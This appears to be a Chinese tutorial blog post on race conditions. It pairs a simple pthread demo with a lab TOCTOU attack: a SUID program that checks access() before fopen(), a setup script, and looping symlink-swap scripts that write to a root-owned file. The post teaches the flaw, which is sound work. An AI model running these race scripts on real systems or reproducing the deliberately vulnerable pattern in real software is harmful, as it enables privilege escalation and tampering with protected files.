竞争条件是指多个进程/线程使用同一个资源时,由于时序的问题产生的资源误用。

竞争条件

一个资源(可以是变量、文件)被一个进程/线程访问一次后,下次访问时,这个资源其实可能被其他进程/线程改动。就是说在多个代码并行执行的时候,互相之间的时序是不确定的,因此不可以认为相应的资源在两次访问中是保持不变的。

如果没有考虑到这一点,就会产生竞争条件问题。

多线程中资源误用

以下程序误用了res变量。两个线程竞争使用res变量,一个线程th1使用了这个变量,在使用结束之前,另一个线程th2修改了它。因此,最后程序会输出"Hacked!"。

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>

int res = 0;

void *th1() {
    res = 1;
    sleep(3);
    if(res != 1) {
        puts("Hacked!");
    } else {
        puts("Nice!");
    }
}

void *th2() {
    sleep(1);
    res = 2;
}

int main() {
    pthread_t tid1, tid2;
    
    pthread_create(&tid1, NULL, (void *) th1, NULL);
    pthread_create(&tid2, NULL, (void *) th2, NULL);

    pthread_join(tid1, NULL);
    pthread_join(tid2, NULL);

    return 0;
}

竞争条件造成越权写

一个拥有SUID标记的程序,使用access函数进行文件写权限控制,判断具有写权限后进行写文件操作。

在这个判断和文件操作的时差间,如果使用另一个进程替换文件,即在access判断通过之后,文件写入之前的时间里,将目标文件文件替换为一个root权限才能操作的文件,就造成普通权限的用户越权写入了只有root可以操作的文件。

程序 test.c

#include <string.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    char fn[] = "temp_file";
    char str[] = "Hacked!\n";
    FILE *fp;
    if(access(fn, W_OK)) {
        puts("No permission.");
        return -1;
    }
    //usleep(1000);
    fp = fopen(fn, "w");
    fwrite(str, sizeof(char), strlen(str), fp);
    fclose(fp);
    return 0;
}

环境配置文件 reset_env.sh

echo "Hello user!" > user_file
echo "Hello root!" > root_file
chown root:root root_file
ln -sf ./user_file temp_file
gcc ./test.c -o test
chown root:root test
chmod +s test

攻击脚本(循环替换symbol文件)

while true
do
    ln -sf ./user_file temp_file
    ln -sf ./root_file temp_file
done

攻击脚本(判断是否已经写成功)

old=`ls -l ./root_file`
new=`ls -l ./root_file`

while [ "$old" = "$new" ]
do
    ./test
    new=`ls -l ./root_file`
done

echo "Attack done!"
cat ./root_file

攻击运行方法:首先运行bash reset_env.sh初始化环境,然后将两个攻击脚本放在不同的进程运行,比如可以开两个终端运行它们,观察判断脚本输出root_file文件中的内容。

标签: 二进制, 竞争条件, Web

添加新评论